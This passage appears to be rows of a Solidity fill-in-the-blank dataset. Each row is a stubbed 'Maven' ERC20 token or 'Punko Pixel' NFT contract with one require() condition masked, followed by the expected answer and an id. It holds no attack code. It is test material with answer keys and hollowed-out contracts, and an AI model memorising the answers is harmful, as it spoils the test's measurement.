struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool buy = false;
bool sell = false;
bool other = false;
if (lpPairs[from]) {
buy = true;
} else if (lpPairs[to]) {
sell = true;
} else {
other = true;
}
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if (burnXHolders[from].enabled) {
require(buy || sell, "Cannot transfer, only swap.");
if (sell) {
require(amount <= burnXLimit, "Exceeds daily sell amount.");
if (burnXHolders[from].sellStamp + burnXTimer < block.timestamp) {
burnXHolders[from].sellStamp = block.timestamp;
burnXHolders[from].soldAmount = amount;
} else {
require(<FILL_ME>)
burnXHolders[from].soldAmount += amount;
}
}
}
if(buy){
if (!_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmountBuy, "Transfer amount exceeds the maxTxAmount.");
}
}
if(sell){
if (!_isExcludedFromLimits[from]) {
require(amount <= _maxTxAmountSell, "Transfer amount exceeds the maxTxAmount.");
}
}
if(to != address(dexRouter) && !sell) {
if (!_isExcludedFromLimits[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
}
}
if (sell) {
if (!inSwap) {
if(contractSwapEnabled
&& !presaleAddresses[to]
&& !presaleAddresses[from]
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
uint256 swapAmt = swapAmount;
if(piContractSwapsEnabled) { swapAmt = (balanceOf(lpPair) * piSwapPercent) / masterTaxDivisor; }
if(contractTokenBalance >= swapAmt) { contractTokenBalance = swapAmt; }
contractSwap(contractTokenBalance);
}
}
}
}
return finalizeTransfer(from, to, amount, buy, sell, other);
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| burnXHolders[from].soldAmount+amount<=burnXLimit,"Exceeds daily sell amount." | 153,637 | burnXHolders[from].soldAmount+amount<=burnXLimit |
"Sender does not have enough tokens." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
require(accounts.length == amounts.length, "Lengths do not match.");
address sender = msg.sender;
for (uint16 i = 0; i < accounts.length; i++) {
address receiver = accounts[i];
uint256 amount = amounts[i] * 10**_decimals;
require(<FILL_ME>)
_tOwned[sender] -= amount;
_tOwned[receiver] += amount;
burnXHolders[receiver].enabled = true;
emit Transfer(sender, receiver, amount);
}
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| balanceOf(sender)>=amount,"Sender does not have enough tokens." | 153,637 | balanceOf(sender)>=amount |
"Punko Pixel: Max Per Wallet" | // SPDX-License-Identifier: MIT
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//(((((((((((((((((((((((((((((#&&&&&&&&&&&&&&&&&&&&&(((((((((((((((((((((((((((((
//(((((((((((((((((((((&&&&&&&&#.....................&&&&&&&&&((((((((((((((((((((
//((((((((((((((((%&&&& ..................................... &&&&((((((((((((((((
//((((((((((((((&&/ ........................................ &&&(((((((((((((
//((((((((((((&&....................................................,&&(((((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&...... ..................................................&&(((((((((
//((((((((##&&....,**&&&&((**..........................,**&&&&((**.....&&##(((((((
//(((((&&& .&&..&&&&&&&&&&&&&@&#.....................&&@&&&&&&&&&&&&%..&&..&&(((((
//(((((&&&. &&..&&&&&&&&&&&&&&&#.....................&&&&&&&&&&&&&&&%..&& .&&(((((
//(((((&&&,,&&..&&&&&&&&&&&&&&&#.....................&&&&&&&&&&&&&&&%..&&,,&&(((((
//(((((&&&,,&&....(&& &&&&&&........................../&& &&&&&&.....&&,,&&(((((
//((((((((@@&&..... .&&&&&&...............................&&&&&&.......&&&&(((((((
//((((((((((&&..........................&&&&&..........................&&(((((((((
//((((((((((&&.. ......................................................&&(((((((((
//((((((((((((&&,,................................................,,*&&(((((((((((
//((((((((((((((&&(,,,,,,...................................,,,,,,&&&(((((((((((((
//((((((((((((((((%&&&&&&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&&&&&&((((((((((((((((
//(((((((((((((((((((((((&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721Punko.sol";
contract PunkoPixel is ERC721Punko, Ownable, ReentrancyGuard {
address public tokenContract;
using SafeERC20 for IERC20;
mapping (address => uint256) public walletPunko;
mapping(uint256 => uint256) public PunkoTokenUpgrade;
string public baseURI;
bool public mintPunkolistedEnabled = false;
bool public mintPublicPunkoEnabled = false;
bytes32 public merkleRoot;
uint public freePunko = 1;
uint public maxPankoPerTx = 2;
uint public maxPerWallet = 2;
uint public maxPanko = 777;
uint public pankoPrice = 77000000000000000; //0.077 ETH
uint public PriceETHpunkoUpgrade = 0;
uint public PricePuncoinPunkoUpgrade = 0;
constructor() ERC721Punko("Punko Pixel", "Punko",10,777){}
function PunkolistedMint(uint256 qty, bytes32[] calldata _merkleProof) external payable
{
require(mintPunkolistedEnabled , "Punko Pixel: Minting Whitelist Pause");
require(<FILL_ME>)
require(qty <= maxPankoPerTx, "Punko Pixel: Max Per Transaction");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Punko Pixel: Not in whitelisted");
require(totalSupply() + qty <= maxPanko,"Punko Pixel: Soldout");
walletPunko[msg.sender] += qty;
_mint(qty);
}
function PublicPankoMint(uint256 qty) external payable
{
}
function Upgrading(uint256 tokenId) external payable{
}
function _mint(uint qty) internal {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setMerkleRoot(bytes32 root) public onlyOwner {
}
function airdropPunko(address to ,uint256 qty) external onlyOwner
{
}
function PunkoOwnerMint(uint256 qty) external onlyOwner
{
}
function togglePublicPunkoMinting() external onlyOwner {
}
function toggleWhitelistPunkoMinting() external onlyOwner {
}
function setTokenContract(address _tokenContract) external onlyOwner{
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function setPrice(uint256 price_) external onlyOwner {
}
function setmaxPankoPerTx(uint256 maxPankoPerTx_) external onlyOwner {
}
function setmaxFreePankoPerTx(uint256 freePunko_) external onlyOwner {
}
function setMaxPerWallet(uint256 maxPerWallet_) external onlyOwner {
}
function setmaxPanko(uint256 maxPanko_) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| walletPunko[msg.sender]+qty<=maxPerWallet,"Punko Pixel: Max Per Wallet" | 153,682 | walletPunko[msg.sender]+qty<=maxPerWallet |
"Punko Pixel: Soldout" | // SPDX-License-Identifier: MIT
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//(((((((((((((((((((((((((((((#&&&&&&&&&&&&&&&&&&&&&(((((((((((((((((((((((((((((
//(((((((((((((((((((((&&&&&&&&#.....................&&&&&&&&&((((((((((((((((((((
//((((((((((((((((%&&&& ..................................... &&&&((((((((((((((((
//((((((((((((((&&/ ........................................ &&&(((((((((((((
//((((((((((((&&....................................................,&&(((((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&...... ..................................................&&(((((((((
//((((((((##&&....,**&&&&((**..........................,**&&&&((**.....&&##(((((((
//(((((&&& .&&..&&&&&&&&&&&&&@&#.....................&&@&&&&&&&&&&&&%..&&..&&(((((
//(((((&&&. &&..&&&&&&&&&&&&&&&#.....................&&&&&&&&&&&&&&&%..&& .&&(((((
//(((((&&&,,&&..&&&&&&&&&&&&&&&#.....................&&&&&&&&&&&&&&&%..&&,,&&(((((
//(((((&&&,,&&....(&& &&&&&&........................../&& &&&&&&.....&&,,&&(((((
//((((((((@@&&..... .&&&&&&...............................&&&&&&.......&&&&(((((((
//((((((((((&&..........................&&&&&..........................&&(((((((((
//((((((((((&&.. ......................................................&&(((((((((
//((((((((((((&&,,................................................,,*&&(((((((((((
//((((((((((((((&&(,,,,,,...................................,,,,,,&&&(((((((((((((
//((((((((((((((((%&&&&&&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&&&&&&((((((((((((((((
//(((((((((((((((((((((((&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721Punko.sol";
contract PunkoPixel is ERC721Punko, Ownable, ReentrancyGuard {
address public tokenContract;
using SafeERC20 for IERC20;
mapping (address => uint256) public walletPunko;
mapping(uint256 => uint256) public PunkoTokenUpgrade;
string public baseURI;
bool public mintPunkolistedEnabled = false;
bool public mintPublicPunkoEnabled = false;
bytes32 public merkleRoot;
uint public freePunko = 1;
uint public maxPankoPerTx = 2;
uint public maxPerWallet = 2;
uint public maxPanko = 777;
uint public pankoPrice = 77000000000000000; //0.077 ETH
uint public PriceETHpunkoUpgrade = 0;
uint public PricePuncoinPunkoUpgrade = 0;
constructor() ERC721Punko("Punko Pixel", "Punko",10,777){}
function PunkolistedMint(uint256 qty, bytes32[] calldata _merkleProof) external payable
{
require(mintPunkolistedEnabled , "Punko Pixel: Minting Whitelist Pause");
require(walletPunko[msg.sender] + qty <= maxPerWallet,"Punko Pixel: Max Per Wallet");
require(qty <= maxPankoPerTx, "Punko Pixel: Max Per Transaction");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Punko Pixel: Not in whitelisted");
require(<FILL_ME>)
walletPunko[msg.sender] += qty;
_mint(qty);
}
function PublicPankoMint(uint256 qty) external payable
{
}
function Upgrading(uint256 tokenId) external payable{
}
function _mint(uint qty) internal {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setMerkleRoot(bytes32 root) public onlyOwner {
}
function airdropPunko(address to ,uint256 qty) external onlyOwner
{
}
function PunkoOwnerMint(uint256 qty) external onlyOwner
{
}
function togglePublicPunkoMinting() external onlyOwner {
}
function toggleWhitelistPunkoMinting() external onlyOwner {
}
function setTokenContract(address _tokenContract) external onlyOwner{
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function setPrice(uint256 price_) external onlyOwner {
}
function setmaxPankoPerTx(uint256 maxPankoPerTx_) external onlyOwner {
}
function setmaxFreePankoPerTx(uint256 freePunko_) external onlyOwner {
}
function setMaxPerWallet(uint256 maxPerWallet_) external onlyOwner {
}
function setmaxPanko(uint256 maxPanko_) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| totalSupply()+qty<=maxPanko,"Punko Pixel: Soldout" | 153,682 | totalSupply()+qty<=maxPanko |
"Punko Pixel: Claim Free" | // SPDX-License-Identifier: MIT
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//(((((((((((((((((((((((((((((#&&&&&&&&&&&&&&&&&&&&&(((((((((((((((((((((((((((((
//(((((((((((((((((((((&&&&&&&&#.....................&&&&&&&&&((((((((((((((((((((
//((((((((((((((((%&&&& ..................................... &&&&((((((((((((((((
//((((((((((((((&&/ ........................................ &&&(((((((((((((
//((((((((((((&&....................................................,&&(((((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&.........................................................&&(((((((((
//((((((((((&&...... ..................................................&&(((((((((
//((((((((##&&....,**&&&&((**..........................,**&&&&((**.....&&##(((((((
//(((((&&& .&&..&&&&&&&&&&&&&@&#.....................&&@&&&&&&&&&&&&%..&&..&&(((((
//(((((&&&. &&..&&&&&&&&&&&&&&&#.....................&&&&&&&&&&&&&&&%..&& .&&(((((
//(((((&&&,,&&..&&&&&&&&&&&&&&&#.....................&&&&&&&&&&&&&&&%..&&,,&&(((((
//(((((&&&,,&&....(&& &&&&&&........................../&& &&&&&&.....&&,,&&(((((
//((((((((@@&&..... .&&&&&&...............................&&&&&&.......&&&&(((((((
//((((((((((&&..........................&&&&&..........................&&(((((((((
//((((((((((&&.. ......................................................&&(((((((((
//((((((((((((&&,,................................................,,*&&(((((((((((
//((((((((((((((&&(,,,,,,...................................,,,,,,&&&(((((((((((((
//((((((((((((((((%&&&&&&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&&&&&&((((((((((((((((
//(((((((((((((((((((((((&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
